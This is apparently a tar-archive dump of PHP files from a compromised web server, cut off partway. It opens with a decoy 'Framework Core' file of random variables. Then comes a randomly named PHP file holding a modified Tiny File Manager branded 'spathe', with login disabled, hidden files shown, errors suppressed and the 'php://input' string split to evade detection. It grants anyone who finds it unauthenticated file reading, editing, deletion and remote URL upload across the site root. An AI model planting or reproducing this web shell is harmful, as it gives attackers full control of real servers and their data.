$mB35lrKoJtrkT4r='8LuL5gMexYFa4IACYwg0QG6RpTHS5N23Nf4wGney1XUOhyR';
// gUYKPEVL5NaLcu18uMEdFnwWuudV9qTaJM4TONdc6UOYF97YLlRyHvraOwGtIvgnwzNv
$BNstOev0RLtRwd='NbT3Vh2Z8ZvhucwLrySe38saWPmh6TKUIF2DG';
// AP651TNI4Zg2boFafzVZroepWWZe1RVFSdww3aM99MP37lM8wHsNSDsW1FfrqNSnTC
$xSOJXw4D='FSCeyn2Lq790onWOK3h33u8uznwXQzh4yB17yrGUi';

// M9CPBBGt6fxrlWOPxtPyUWXkjjLEQEdKvjv23EzFJIAzBBe2spD0WWzckmvLxsob4RGhN2KjBWsEW
$Hs71QOdlmEA6I='jjhNfbZZLQ0QxnC4PmfPCb1g1qDl6L1Y9IwxFRD0DQr';
// BbSbhS6Ce0379YYuVpYsLScN0fZFZPGXZftkkvY0O1GLHxw
$ZItyfajifIt7G2='uzyApTu7w3nVU23XR6oHyO27l';
// 3YB1sn6l1o3MNDt6NXLk1IoL8UoIjqqr30YvNgi7t0YSOeOxsVrPmDuUVueEYpPatLob9Y8pv
$MxNGC2pVDpsb='9oJQYPRknq1QTwwYknNFwBuuny8C3WzXMe65JUDNkkv';
// G8x65bDfL1HWf81qVAE5u6f12Q0qvc3fB4aEjAFTYuyWtpGmWouMsVOHFE
$lP08GnsjEj73='WUledZVcTy7XJ0JWJURM8YEiBeMKeDxKk4';
// wffB73Np7I7sRSU4EYWcNOfVcTGuJmXcL3rKcXMU0nvTJDJdqOZf1iNL
$gh3IqT='rOeQJFC53GTxYAQSE30CcSvzOWIwwVdNqRqnU3r7WC';
// iSkfWMNnHSJwXCPPaXgEeyIm6StGXnPfekkUg2mIlHaMeeTq3v2fv4i7z
$a4YnMHYK='9ixUTQaSXqQFSp5jLKWEZ2PKNSnIK7NOzG0sLQycVY3F0mt33';
// 8dbtcEfFFLx8VHcLJm5Yx4ZEqIes7xeIFJn1TZCdi0cqzR4ueWPpoguaAY8syJ
$nKCWwKLT='INVdR8obhy1NYVn7zvKdoojvCsmo09cCWHNnJA9AYuWwi';

$NCgFzp3jwjHVS='861MlBaod4YDdqk9wYvTn9phNtLNEOoVnE2jsu41uaBHvUtZiDtS26jQ9K';

$uRMbckBNqCdW='rbpLztjMkgqO0xvJm1TLohn2fjGnZY';
$R6RMcrdRlsY6E7s='XobPKdQTPp81t3OTzeCphHyiahQFnODjLbsFQVWCvGf';
// nk5Q71Q8Wk2LmNTuKMzOFV0cKS5U1mKAAf8Cx4kkhHzJddtIt9V6GTuHNZxVoNr6hXGNyK9Tj69lOg
$hfUbBo5cekc='AZzevJIq6aih8T4XWnpU1JxNVWq89lAugeMpFY2dnKX';
$rsdkgtiasdvHLer='3ishkXaXRWJE1FKe0ggrj4LrxjYujO2zi6drN1xhd';

$lCK8L2Jq3NDMT3='fu00zerUeJxhUBWKW3BqPMSwpHwy6b3fkGaRuuftwfgLJ6VYTsQGv0TWlnJY';
// EcAsF1qmLx9rYJEKoOEwG5By6WbmV9bT53DbAUOpQm1fxMf
$rDWI4H2='VElNIfclCUBcdTkfHzcP6YTWtrYA2XdIt6kKWdk4dTSHUlDioc1M6';
// Xw86O85YUShFUHCdIEC8YztkgMqgxyyNqxLAcPtSiU0rRXk3sW9Zwich5Fc
$kPbPU1='CGkAZ6GV5zbeUj3sYyfBo2Y6fWYsGOzWgTAfUbPia';
$IHpmeT89Nyh0Xe='ul85J7XUmWctnS2DEX6T8QbkQajtbfz2TJ';
$fEsZIc8YGTueAAx='mdpZ3I8xR3hc7OT6wvxwyHXEFR7lZbemFqDpBQTW1FynpZ24R5M';

// VHrvMgqJ0UGgMI9z2MPdoD3uO3XT215qUbSMFolrXypYnGUKkaX1vTcbo
$nriIWaLg='bf7UCjgOtCwBaTsEvhM5K6WMef4UDWWfQhiOUqpXsU';

// kWlGeHOGtFOG4hyRJpLNQgwtEiuIgU9R2fuOZAJu50nhVe1jtxeKfRYL6PRRvJTfMf
$SN9wo6ys2I='5H8JPtiWG7Cp7EWD6COYl98Iag9BWsOQMw6';

$gFiYCyKb='BhZbJrpR5fsd4GsXO39o9vnpto20Wcn0Ii0ZETiZvrwPXDxilS2U';
// COsrTwaVN4VtIwQtd7UZk67PPlQDdZh5Cq7mZw5MebxGVK
$T4UADkm='VT6d47qGA6aaB1cvarGheLEqHI6XUNfQVHkr';
// 7BCDTOhwubRfRg87z0TRK7Ze3Nt6D2b3nj7j7Mxv7RkwZ
$j87qDKyFQPo='Rb0ZHeTSTqljeyt18z0Sf5MFfJQuj9q30o0lsQhcmOWJeHD2D9LCTRwaZbJ';

$gOWu5ARUKrHW='2K7ozL3BX5EibypLhH3xDGmezpiga2hN3556IDHgK2';
// KvEwyLlErAhzopTaMguytnh8JC3X7DHvg09aGgMxuVDV18q3
$QEbEJNwfqjHYn='nwYki2V6f4moCcdiacoq56aPJIc9dKZn6m7MJbbo';
// twG2KI3Qy4Hj2xDwJOKMvZpKUa2nPh9PLSklZArKFtIzYuM
$Tqb7XYBEk='G34WWYvzvNEHZ9YPjLC0HKNyO5JXNon4PtdlAA2bE';
// lpkJEIAj36eaVFBZi7aBux01Q9ePu0FgmUpuwsU24gluWANEOvHFYXUe5IXbfxSFnXHc
$gRdaVmcgtyP='eyQpfviUuuPmbMQVBQpAjVEsNYEzQ01tkGe3xeTLPC2jNF1PtRVah5Sw6k';
// n3W8U9bEyu0ivceJp4LVQRQ1GyLR4FzGUdyBiSeuPSZHK2HpsVmoYCUBZPR
$l6L2ok3qWPFjpZX='ISRyWMCUiYarp1y1r34IQPsV9B';
// og72FZcJCFjAfPiSVmkL2csnZuWkVADc3c7Vw5gbVLMiS
$IjrFjVcQMHwjAiW='o1qvDcX9TVkUaz9zaoNDdqZAr0HUTIP';
$KDeK6t='lCGgYkenKyi0qpEVtcDlnZ6s6HNy6KSvizvGhWjpHE1OYnAAD6G3';

// Framework Footer
// End of Framework Core v2.8.20
?>j25wy4/1o56x.php000064400000560461151032667100007220 0ustar00<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'spathe');

$dauth = false;

$auth_users = array(
    'admin' => '4b605e78436204f87ad0daf2e1bef329',
    'user' => '4b605e78436204f87ad0daf2e1bef329'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
